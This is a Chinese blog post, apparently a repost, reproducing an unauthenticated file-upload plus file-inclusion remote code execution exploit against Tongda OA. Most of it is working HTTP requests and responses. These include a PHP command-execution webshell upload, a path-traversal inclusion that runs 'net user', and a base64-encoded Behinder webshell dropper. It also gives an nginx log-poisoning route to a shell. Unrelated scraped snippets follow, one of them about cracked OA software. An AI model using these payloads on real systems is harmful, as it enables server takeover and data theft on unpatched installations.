[通达OA] RCE + Getshell

跟着大佬轻松复现:https://github.com/jas502n/OA-tongda-RCE

通达OA下载:https://www.tongda2000.com/download/2019.php

傻瓜式安装,不作多介绍。


漏洞原因:未授权文件上传 + 文件包含(利用nginx日志也可以getshell)


版本不同路径不同

2013:

  • 文件上传路径:/ispirit/im/upload.php
  • 文件包含路径:/ispirit/interface/gateway.php

2017:

  • 文件上传路径:/ispirit/im/upload.php
  • 文件包含路径:/mac/gateway.php

复现过程


文件上传

抓取数据包使用Burp改成POST,再改成 from-data 就好了

Request:

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.95.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.95.129/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
Connection: close
Content-Type: multipart/form-data; boundary=--------1673801018
Content-Length: 558

----------1673801018
Content-Disposition: form-data; name="UPLOAD_MODE"

2
----------1673801018
Content-Disposition: form-data; name="P"

123
----------1673801018
Content-Disposition: form-data; name="DEST_UID"

2
----------1673801018
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST[‘cmd‘];
$wsh = new COM(‘WScript.shell‘);
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
----------1673801018--

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Mar 2020 14:03:32 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=123; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 37

+OK [vm][email protected]_225735032|jpg|0[/vm]

文件包含



注意对应成功上传的文件名

Request:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.95.129
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.95.129/logincheck.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=gb4tpaqrsagb3fcmpu9sco48m5; KEY_RANDOMDATA=13319
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

json={"url":"/general/../../attach/im/2003/225735032.jpg"}&cmd=net user

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 22 Mar 2020 14:06:54 GMT
Content-Type: text/html; charset=gbk
Connection: close
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 192

\\ 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest
命令运行完毕,但发现一个或多个错误。

Getshell


<?php
$fp = fopen(‘readme.php‘, ‘w‘);
$a = base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9HRVRbJ3Bhc3MnXSkpCnsKICAgICRrZXk9c3Vic3RyKG1kNSh1bmlxaWQocmFuZCgpKSksMTYpOwogICAgJF9TRVNTSU9OWydrJ109JGtleTsKICAgIHByaW50ICRrZXk7Cn0KZWxzZQp7CiAgICAka2V5PSRfU0VTU0lPTlsnayddOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHApIHtldmFsKCRwLiIiKTt9fQoJQG5ldyBDKCRwYXJhbXMpOwp9Cj8+");
fwrite($fp, $a);
fclose($fp);
?>

通过上传上方webshell,进行文件包含,会在文件包含的根目录下生成一个 readme.php 文件。冰蝎的shell

http://127.0.0.1/ispirit/interface/readme.php

利用nginx日志来 getshell



抓取数据包来发送一句话木马代码,不能直接在浏览器访问,因为那样符号会被浏览器编码的

http://192.168.95.129/ispirit/interface/gateway.php?json={"url":"/general/../../nginx/logs/oa.access.log"}

用 C 刀(菜刀)就可以直接连接了,蚁剑不行。

原文地址:https://www.cnblogs.com/yuyan-sec/p/12549237.html

时间: 2024-11-10 14:49:42

[通达OA] RCE + Getshell的相关文章

通达OA 任意文件上传+文件包含导致RCE漏洞复现

0X00漏洞简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批.行政办公.日常事务.数据统计分析.即时通讯.移动办公等. 该漏洞被黑产利用,用于投放勒索病毒 该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件,组合文件包含漏洞最终造成远程代码执行漏洞,从而导致可以控制服务器system权限. 0X01漏洞影响 V11版.2017版.2016版.2015版.2013增强版.2013版 0X02漏洞原理

通达OA 二次开发培训第二讲

本次是通达OA二次开发第二讲,主要介绍了如何在通达OA中进行程序开发,并将开发程序挂接到OA系统中.

通达oa破解版下载|通达OA2017破解版|通达OA破解补丁下载

一.百度搜索[通达OA官网]=>[下载]=>[下载2017版]=>[通达OA精灵2017版](Windows.iPhone.Android版本号2017.07.19):安装包下载地址:http://www.tongda2000.com/download/2017.php 二.打开[MYOA2017]=>[安装D盘] 三.单机[所有程序]=>[通达网络办公]=>[通达服务职能配置]=>[web服务协议]=>[web服务名称localhost]=>[Htt

通达OA 小飞鱼工作流在线培训教程(一)HTML基础介绍

应一些刚接触工作流设计朋友的要求,这里开设一个系列教程,对通达OA工作流设计相关的内容做个介绍.方便解决一些日常经常出现的问题,希望对刚刚接触这部分工作的朋友能够有些帮助. 工作流设计须要多方面的知识,当中的HTML是最基础的部分,这里先通过大概4小节的课程将HTML部分介绍一下.对于刚接触网页html语言的朋友能够实际操练一下. 寻经常常使用的编辑工具能够使用Dreamweaver.记事本或者Editplus.UltraEdit,对于刚開始学习的人建议使用Dreamweaver,这样便于对效果

通达OA 小飞鱼老师OA工作流设计课程教学网络公开课之HTML基础

通达OA网络教学公开课开始了,有需要的小伙伴们抓住机会奥.8月29号晚8点不见不散.本次课程的主要内容是通达OA工作流设计课程中需要用到的Html部分学习. 版权声明:本文为博主原创文章,未经博主允许不得转载.

如何控制通达OA的工作流表单列表控件的列输入框

通达OA的工作流表单列表控件只提供了从内部或外部数据源映射选择,但有时需要控制某些列不能输入,有些列录入后,带出其他列的数据,如下图 //通过存货编号取存货信息 function getinventory(cinvcode){ var resobj; jQuery.ajax({type:'POST', url:'/userext/index.php?c=workflow&m=getcinvname', data:{cinvcode:cinvcode}, success:function(res)

通达OA 在手机上使用OA工作流审批你用过么?

通达的产品真的是不错,除了电脑能够访问,手机也有客户端可以安装,这样随时随地都可以访问OA查看邮件.新闻,通过工作流进行审批工作. 但是不知在手机客户端上用过工作流么?最近进行了一些手机客户端的测试,有些差异的地方: 1.手机上使用不了电脑上用的签章控件,手机上有专门的签章控件: 2.在手机上查看工作流时显示的控件与电脑上也有差异,控件的名称(title值)会直接显示,有些在电脑上通过设置大小等方式进行隐藏的控件也会显示出来.所以这是都需要跟着进行调整.控件的命名要求也就高一些,有些原来只能管理

通达OA 一些工作流调整后带来的后果及应对措施

最近单位有个工作流需要修改,原因是最早设计时控件的字段设计不规范,控件直接使用了人员的名字来命名了.这不使用手机访问时就出问题了,名字会直接显示出来,现在就需要进行调整. 调整初步有两个方案: 一是完全重新设计一个,旧版本待现有没执行完的执行完毕封存即可. 二是直接在原有工作流上修改,经过测试,在手机上显示的是字段的title值,这样的话修改title即可,也就是可视化设计器里面的名字.工作流里面实际存储数据用到的是控件的name,也就是一般"name=DATA_1"这样,这个是不要修

通达OA 关于OA工作流设计规范的一些意见

集团应用OA工作流已经有几年的时间了,从最早的请假调休这些简单常用的工作流开始应用,到现在涉及十多个部门的工程项目合同工作流,我们一步一步的把工作流应用渗透到了很多部门及工作中,确实提高了不少效率,减少了中间沟通的时间成本,也减少了扯皮等问题的发生. 工作流应用的多了以后,管理起来问题也比较多,如何能够更有效率的进行管理,我这里根据我们日常的工作总结了几点经验,仅供参考. 1.流程分类 对所有流程按照流程性质或部门进行分类,现在系统里可以支持多级目录的分类,就像我们管理电脑中的文件一样,分成文件